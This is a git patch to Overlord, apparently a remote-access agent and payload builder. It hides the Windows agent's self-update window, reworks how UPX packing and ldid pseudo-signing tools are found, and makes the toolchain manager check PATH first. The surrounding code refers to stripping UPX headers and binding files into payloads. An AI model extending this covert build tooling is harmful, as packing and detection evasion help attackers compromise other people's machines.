From 355470c65780a2072842c50ce122fb4761596734 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Tue, 5 May 2026 22:22:29 -0500 Subject: [PATCH] fix updating and also check path before downloading compilers (can't even fucking download them on windows) --- .../agent/handlers/agent_update_windows.go | 10 +++- Overlord-Server/src/server/build-process.ts | 58 ++++++------------- .../src/server/toolchain-manager.ts | 26 +++++++++ 3 files changed, 53 insertions(+), 41 deletions(-) diff --git a/Overlord-Client/cmd/agent/handlers/agent_update_windows.go b/Overlord-Client/cmd/agent/handlers/agent_update_windows.go index 9d90e02..9969448 100644 --- a/Overlord-Client/cmd/agent/handlers/agent_update_windows.go +++ b/Overlord-Client/cmd/agent/handlers/agent_update_windows.go @@ -97,9 +97,15 @@ func launchDeferredUpdateScript(sourcePath string, targetPath string) error { return err } - cmd := exec.Command("cmd.exe", "/D", "/Q", "/C", scriptPath) + cmd := exec.Command("cmd.exe", "/C", scriptPath) cmd.Dir = filepath.Dir(scriptPath) - cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NEW_PROCESS_GROUP} + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NEW_CONSOLE} + nullFile, err := os.OpenFile(os.DevNull, os.O_RDWR, 0) + if err == nil { + cmd.Stdin = nullFile + cmd.Stdout = nullFile + cmd.Stderr = nullFile + } log.Printf("agent_update[win]: deferred updater script=%q debugLog=%q cmd=%q args=%v", scriptPath, debugLogPath, cmd.Path, cmd.Args) if err := cmd.Start(); err != nil { return fmt.Errorf("failed to start deferred updater: %w", err) diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index 72ae183..b5fd00e 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -103,17 +103,6 @@ type BuildProcessConfig = { boundFiles?: BoundFile[]; }; -async function checkUpxAvailable(sendToStream: (data: any) => void): Promise { - try { - const check = await $`upx --version`.quiet().nothrow(); - if (check.exitCode === 0) { - const ver = check.stdout.toString().split("\n")[0]?.trim() || "upx"; - sendToStream({ type: "output", text: `UPX found: ${ver}\n`, level: "info" }); - return true; - } - } catch {} - return false; -} function stripUpxHeaders(filePath: string): boolean { try { @@ -338,20 +327,16 @@ export async function startBuildProcess( let upxBin: string | null = null; if (config.enableUpx) { - if (await checkUpxAvailable(sendToStream)) { - upxBin = "upx"; - } else { - try { - const upxTool = await ensureToolchain("upx", sendToStream); - upxBin = path.join(upxTool.binDir, "upx"); - } catch (err: any) { - sendToStream({ - type: "output", - text: `ERROR: UPX is not installed and on-demand download failed (${err.message || err}).\n`, - level: "error", - }); - throw new Error("UPX not found"); - } + try { + const upxTool = await ensureToolchain("upx", sendToStream); + upxBin = path.join(upxTool.binDir, "upx"); + } catch (err: any) { + sendToStream({ + type: "output", + text: `ERROR: UPX is not installed and on-demand download failed (${err.message || err}).\n`, + level: "error", + }); + throw new Error("UPX not found"); } } @@ -1051,20 +1036,15 @@ func runBoundFiles() { // Attempt pseudo-signing with ldid (system-installed or downloaded on demand). try { let ldidBin: string | null = null; - const sysLdid = await $`which ldid`.nothrow().quiet(); - if (sysLdid.exitCode === 0) { - ldidBin = "ldid"; - } else { - try { - const tc = await ensureToolchain("ldid", sendToStream); - ldidBin = path.join(tc.binDir, "ldid"); - } catch (dlErr: any) { - sendToStream({ - type: "output", - text: `ldid not found and download failed (${dlErr.message || dlErr}); skipping pseudo-signing.\n`, - level: "warn", - }); - } + try { + const tc = await ensureToolchain("ldid", sendToStream); + ldidBin = path.join(tc.binDir, "ldid"); + } catch (dlErr: any) { + sendToStream({ + type: "output", + text: `ldid not found and download failed (${dlErr.message || dlErr}); skipping pseudo-signing.\n`, + level: "warn", + }); } if (ldidBin) { const ldidSign = await $`${ldidBin} -S ${path.join(payloadAppDir, appName)}`.nothrow().quiet(); diff --git a/Overlord-Server/src/server/toolchain-manager.ts b/Overlord-Server/src/server/toolchain-manager.ts index 811f8bc..709dbb4 100644 --- a/Overlord-Server/src/server/toolchain-manager.ts +++ b/Overlord-Server/src/server/toolchain-manager.ts @@ -263,10 +263,36 @@ async function downloadAndExtract( logger.info(`[toolchain] installed ${key} at ${rootDir}`); } +function tryResolveFromPath(key: ToolchainKey): EnsuredToolchain | null { + const m = MANIFESTS[key]; + const primaryBin = m.ccBasename || m.binaryFilename; + if (!primaryBin) return null; + + const found = Bun.which(primaryBin); + if (!found) return null; + + const binDir = path.dirname(found); + return { + key, + rootDir: path.dirname(binDir), + binDir, + ccPath: m.ccBasename ? found : undefined, + cxxPath: m.cxxBasename ? (Bun.which(m.cxxBasename) ?? path.join(binDir, m.cxxBasename)) : undefined, + arPath: m.arBasename ? (Bun.which(m.arBasename) ?? path.join(binDir, m.arBasename)) : undefined, + }; +} + export async function ensureToolchain( key: ToolchainKey, send: SendToStream, ): Promise { + const fromPath = tryResolveFromPath(key); + if (fromPath) { + logger.info(`[toolchain] using ${key} from PATH: ${fromPath.binDir}`); + send({ type: "output", text: `[toolchain] Using system ${MANIFESTS[key].displayName} from PATH\n`, level: "info" }); + return fromPath; + } + if (isInstalled(key)) { return resolveEnsured(key); }